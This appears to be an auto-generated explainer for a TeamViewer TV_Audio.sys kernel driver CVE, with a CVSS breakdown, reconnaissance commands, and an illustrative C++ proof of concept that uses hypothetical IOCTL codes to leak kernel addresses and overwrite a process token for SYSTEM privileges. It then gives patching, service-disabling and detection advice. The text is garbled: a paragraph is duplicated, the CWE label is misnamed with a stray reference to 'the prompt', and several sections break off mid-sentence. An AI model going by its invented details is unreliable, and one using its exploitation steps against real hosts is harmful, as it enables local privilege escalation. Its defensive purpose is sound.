CVE-2026-125686 — CWE-822
Improper validation of user-supplied pointers and uninitialized output data in the TeamViewer Audio kernel driver (TV_Audio.sys) in TeamViewer Full Client and Host for Windows from version 15.80 prior to version 15.84 allows a local authenticated attacker with low privileges to disclose kernel memory addresses and write to arbitrary kernel memory via crafted IOCTL requests, resulting in privilege escalation to NT AUTHORITY\SYSTEM.
Improper validation of user-supplied pointers and uninitialized output data in the TeamViewer Audio kernel driver (TV_Audio.sys) in TeamViewer Full Client and Host for Windows from version 15.80 prior to version 15.84 allows a local authenticated attacker with low privileges to disclose kernel memory addresses and write to arbitrary kernel memory via crafted IOCTL requests, resulting in privilege escalation to NT AUTHORITY\SYSTEM.
🎯 What is this vulnerability?
This vulnerability is a Kernel Memory Corruption flaw in the TV_Audio.sys driver, specifically categorized under CWE-822: Uncontrolled Search Path Element (though the description emphasizes "improper validation of user-supplied pointers and uninitialized output data," which aligns more closely with CWE-20: Improper Input Validation or CWE-121: Stack-based Buffer Overflow / CWE-787: Out-of-bounds Write in the context of IOCTL handling. The CWE-822 tag in the prompt may be a misclassification or refers to a specific path resolution issue, but the technical impact described is classic kernel pointer dereference and arbitrary write).
Technical Flaw Analysis:
1. Unvalidated User-Supplied Pointers: The driver accepts IOCTL (Input/Output Control) requests from user-mode applications. It fails to properly validate the memory addresses (pointers) provided by the user in the IOCTL input buffer.
2. Uninitialized Output Data: The driver writes data to a user-supplied buffer without ensuring the buffer is properly initialized or that the write operation stays within bounds, leading to information disclosure.
3. Arbitrary Kernel Memory Write: By crafting specific IOCTL requests, an attacker can manipulate the driver to write to arbitrary kernel memory addresses. This is a classic Arbitrary Write Primitive.
4. Information Disclosure: The "uninitialized output data" allows the attacker to read kernel memory, leaking Kernel Address Space Layout Randomization (KASLR) offsets.
CVSS Vector Breakdown:
- AV:L (Local): The attack must be executed locally on the system.
- AC:L (Low Complexity): No race conditions or complex timing issues are required.
- PR:L (Low Privileges): The attacker only needs a standard user account (no admin rights).
- UI:N (No User Interaction): The exploit can be run silently in the background.
- S:U (Unchanged Scope): The vulnerable component is the kernel driver, and the impact is on the same system.
- C:H/I:H/A:H (High Impact): Full compromise of Confidentiality, Integrity, and Availability due to SYSTEM-level code execution.
- Target Identification: The attacker identifies that TeamViewer Full Client or Host for Windows is installed.
- Version Check: The attacker checks the version of
TV_Audio.sysor the TeamViewer client.
Command:* - Vulnerability Confirmation: If the version is 15.80 to 15.83, the system is vulnerable.
⚡ Attack Chain
1. Discovery & Reconnaissance
wmic product where "name like 'TeamViewer%'" get Name,Version
Driver Check:* driverquery /v | findstr TV_Audio
2. Exploitation
The attacker executes a malicious user-mode application that interacts with theTV_Audio.sys driver.Step 2a: Leak Kernel Addresses (Bypass KASLR)
The attacker sends a crafted IOCTL request that triggers the "uninitialized output data" flaw. This leaks kernel memory, revealing the base address of the kernel or specific driver modules.
Step 2b: Arbitrary Kernel Write
Using the leaked addresses, the attacker constructs a second IOCTL request that provides a user-supplied pointer pointing to a critical kernel structure (e.g., EPROCESS or KTHREAD of the SYSTEM process). The driver writes attacker-controlled data to this address.
Illustrative PoC (C++ - Simplified for clarity):
Note: This is an illustrative example of the exploitation mechanics. The exact IOCTL codes and buffer structures are proprietary and not publicly disclosed in the CVE description.
#include <windows.h>
#include <stdio.h>
// Hypothetical IOCTL codes for TV_Audio.sys
#define IOCTL_TV_AUDIO_LEAK 0x80000001
#define IOCTL_TV_AUDIO_WRITE 0x80000002
int main() {
HANDLE hDevice = CreateFileA(
"\\\\.\\TV_Audio",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open TV_Audio device\n");
return 1;
}
// Step 1: Leak kernel address
BYTE leakBuffer[0x100] = {0};
DWORD bytesReturned = 0;
BOOL success = DeviceIoControl(
hDevice,
IOCTL_TV_AUDIO_LEAK,
NULL, 0,
leakBuffer, sizeof(leakBuffer),
&bytesReturned,
NULL
);
if (success) {
printf("[+] Leaked kernel data: %p\n", *(void**)leakBuffer);
// Attacker parses leakBuffer to find KASLR base
}
// Step 2: Arbitrary Write to SYSTEM process EPROCESS
// This is a simplified representation. In reality, the attacker
// would target a specific offset in the EPROCESS structure to
// overwrite the Token or Thread Context.
struct WriteRequest {
PVOID TargetAddress; // Kernel address to write to
PVOID SourceAddress; // User address to read from
DWORD Length;
};
// Hypothetical target: SYSTEM process EPROCESS->Token
PVOID systemTokenAddress = (PVOID)0xFFFFF80000000000; // Example KASLR-resolved address
PVOID userPayloadAddress = (PVOID)0x00400000; // User-mode buffer with fake token
WriteRequest req = {
.TargetAddress = systemTokenAddress,
.SourceAddress = userPayloadAddress,
.Length = 0x10
};
success = DeviceIoControl(
hDevice,
IOCTL_TV_AUDIO_WRITE,
&req, sizeof(req),
NULL, 0,
&bytesReturned,
NULL
);
if (success) {
printf("[+] Arbitrary write successful. Privilege escalation achieved.\n");
}
CloseHandle(hDevice);
return 0;
}3. Post-Exploitation
Token field in the EPROCESS structure of the current process or the SYSTEM process. This grants the attacker NT AUTHORITY\SYSTEM privileges.🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Patching (Primary Remediation)
TV_Audio.sys:driverquery /v | findstr TV_AudioEnsure the version is 15.84+.
2. Workarounds (If Immediate Patching is Not Possible)
services.msc.
2. Find "TeamViewer Audio Service" (or similar).
3. Set Startup Type to "Disabled".
4. Stop the service.
Method 2 (Device Manager):*
1. Open Device Manager.
2. Locate "TeamViewer Audio" under "Sound, video and game controllers" or "System devices".
3. Right-click and select "Disable device".
Method 3 (Registry - Advanced):*Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TV_Audio]
"Start"=dword:00000004Note: Start=4 disables the service. Reboot required.
TV_Audio.sys.
Note:* This is difficult to implement precisely because the driver is accessed via standard Windows APIs (CreateFile, DeviceIoControl).3. Detection & IoCs
TeamViewer.exe, TeamViewer_Service.exe).TV_Audio.sys by non-TeamViewer processes.DeviceIoControl calls to \Device\TV_Audio.TV_Audio.sys by suspicious processes.
Sysmon Event ID 22 (Driver Load):* Monitor for driver loads.
SeDebugPrivilege or SeTakeOwnershipPrivilege without legitimate reason).⚠️ Urgency
Patching Priority: HIGH
TV_Audio.sys driver as a temporary mitigation.